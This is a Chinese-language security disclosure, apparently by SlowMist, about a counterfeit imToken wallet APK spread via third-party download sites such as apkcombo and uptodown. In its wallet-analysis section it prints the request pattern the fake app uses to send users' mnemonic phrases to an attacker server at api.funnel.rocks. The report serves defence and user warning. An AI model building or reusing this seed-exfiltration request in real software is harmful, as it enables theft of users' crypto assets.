免责声明:本文使用了ChatGPT进行内容增强。ChatGPT是一种人工智能语言模型,它基于先进的技术进行训练,并可以生成人类可理解的语言。以上StarkNet分析内容仅供读者了解和学术研究使用,并不构成任何投资建议。任何人不应将此作为投资决策的唯一参考,亦不应据此进行任何交易操作。本文所包含的信息不保证准确性、完整性、及时性或适用性,读者应自行评估并承担由此产生的风险。作者、出版方或任何相关方均不对因读者根据本文所得出的结论或决策而产生的任何损失或损害承担任何责任。读者应在任何投资前请咨询专业顾问或按照自己的独立判断作出决策。

慢雾:Web3 假钱包第三方源调查分析

By: 山 & 耀

背景

基于区块链技术的 Web3 正在驱动下一代技术革命,越来越多的人开始参与到这场加密浪潮中,但 Web3 与 Web2 是两个截然不同的世界。Web3 世界是一个充满着各种各样的机遇以及危险的黑暗森林,身处 Web3 世界中,钱包则是进入 Web3 世界的入口以及通行证。

当你通过钱包在 Web3 世界中探索体验诸多的区块链相关应用和网站的过程中,你会发现在一条公链上每个应用都是使用钱包 “登录”;这与我们传统意义上的 “登录” 不同,在 Web2 世界中,每个应用之间的账户不全是互通的。但在 Web3 的世界中,所有应用都是统一使用钱包去进行 “登录”,我们可以看到 “登录” 钱包时显示的不是 “Login with Wallet”,取而代之的是 “Connect Wallet”。而钱包是你在 Web3 世界中的唯一通行证。

俗话说高楼之下必有阴影,在如此火热的 Web3 世界里,钱包作为入口级应用,自然也被黑灰产业链盯上。

在 Android 环境下,由于很多手机不支持 Google Play 或者因为网络问题,很多人会从其他途径下载 Google Play 的应用,比如:apkcombo、apkpure 等第三方下载站,这些站点往往标榜自己 App 是从 Google Play 镜像下载的,但是其真实安全性如何呢?

网站分析

鉴于下载途径众多,我们今天以 apkcombo 为例看看,apkcombo 是一个第三方应用市场,它提供的应用据官方说大部分来源于其他正规应用商店,但事实是否真如官方所说呢?

我们先看下 apkcombo 的流量有多大:

据数据统计站点 similarweb 统计,apkcombo 站点:

全球排名:1,809

国家排名:7,370

品类排名:168

我们可以看到它的影响力和流量都非常大。

它默认提供了一款 chrome APK 下载插件,我们发现这款插件的用户数达到了 10 W+:

那么回到我们关注的 Web3 领域中钱包方向,用户如果从这里下载的钱包应用安全性如何?

我们拿知名的 imToken 钱包为例,其 Google Play 的正规下载途径为:

https://play.google.com/store/apps/details?id=im.token.app

由于很多手机不支持 Google Play 或者因为网络问题,很多人会从这里下载 Google Play 的应用。

而 apkcombo 镜像站的下载路径为:

https://apkcombo.com/downloader/#package=im.token.app

上图我们可以发现,apkcombo 提供的版本为 24.9.11,经由 imToken 确认后,这是一个并不存在的版本!证实这是目前市面上假 imToken 钱包最多的一个版本。

在编写本文时 imToken 钱包的最新版本为 2.11.3,此款钱包的版本号很高,显然是为了伪装成一个最新版本而设置的。

如下图,我们在 apkcombo 上发现,此假钱包版本显示下载量较大,此处的下载量应该是爬取的 Google Play 的下载量信息,安全起见,我们觉得有必要披露这个恶意 App 的来源,防止更多的人下载到此款假钱包。

同时我们发现类似的下载站还有如:uptodown

下载地址:https://imtoken.br.uptodown.com/android

我们发现 uptodown 任意注册即可发布 App,这导致钓鱼的成本变得极低:

钱包分析

在之前我们已经分析过不少假钱包的案例,如:2021-11-24 我们披露:《慢雾:假钱包 App 已致上万人被盗,损失高达十三亿美元》,所以在此不再赘述。

我们仅对 apkcombo 提供版本为 24.9.11 这款假钱包进行分析,在开始界面创建钱包或导入钱包助记词时,虚假钱包会将助记词等信息发送到钓鱼网站的服务端去,如下图:

根据逆向 APK 代码和实际分析流量包发现,助记词发送方式:

https://api.funnel.rocks/api/trust?aid=10&wt=1&os=1&key=<助记词>

看下图,最早的 “api.funnel.rocks” 证书出现在 2022-06-03,也就是攻击开始的大概时间:

俗话说一图胜千言,最后我们画一个流程图:

总结

目前这种骗局活动不仅活跃,甚至有扩大范围的趋势,每天都有新的受害者受骗。用户作为安全体系最薄弱的环节,应时刻保持怀疑之心,增强安全意识与风险意识,当你使用钱包、交易所时请认准官方下载渠道并从多方进行验证;如果你的钱包从上述镜像站下载,请第一时间转移资产并卸载该软件,必要时可通过官方验证通道核实。

同时,如需使用钱包,请务必认准以下主流钱包 App 官方网址:

1/imToken 钱包:https://token.im/2/TokenPocket 钱包:https://www.tokenpocket.pro/3/TronLink 钱包:https://www.tronlink.org/4/比特派钱包:https://bitpie.com/5/MetaMask 钱包:https://metamask.io/6/Trust Wallet:https://trustwallet.com/

请持续关注慢雾安全团队,更多 Web3 安全风险分析与告警正在路上。

致谢:感谢在溯源过程中 imToken 官方提供的验证支持。

由于保密性和隐私性,本文只是冰山一角。慢雾在此建议,用户需加强对安全知识的了解,进一步强化甄别网络钓鱼攻击的能力等,避免遭遇此类攻击。更多的安全知识建议阅读慢雾出品的《区块链黑暗森林自救手册》:https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook/blob/main/README_CN.md

慢雾科技作为一家行业领先的区块链安全公司,在安全审计方面深耕多年,安全审计不仅让用户安心,更是降低攻击发生的手段之一。其次,各家机构由于数据孤岛,难以关联识别出跨机构的洗钱团伙,给反洗钱工作带来巨大挑战。而作为项目方,及时拉黑阻断恶意地址的资金转移也是重中之重。MistTrack 反洗钱追踪系统积累了 2 亿多个地址标签,能够识别全球主流交易平台的各类钱包地址,包含 1 千多个地址实体、超 10 万个威胁情报数据和超 9 千万个风险地址,如有需要可联系我们接入 API。最后希望各方共同努力,一起让区块链生态更美好。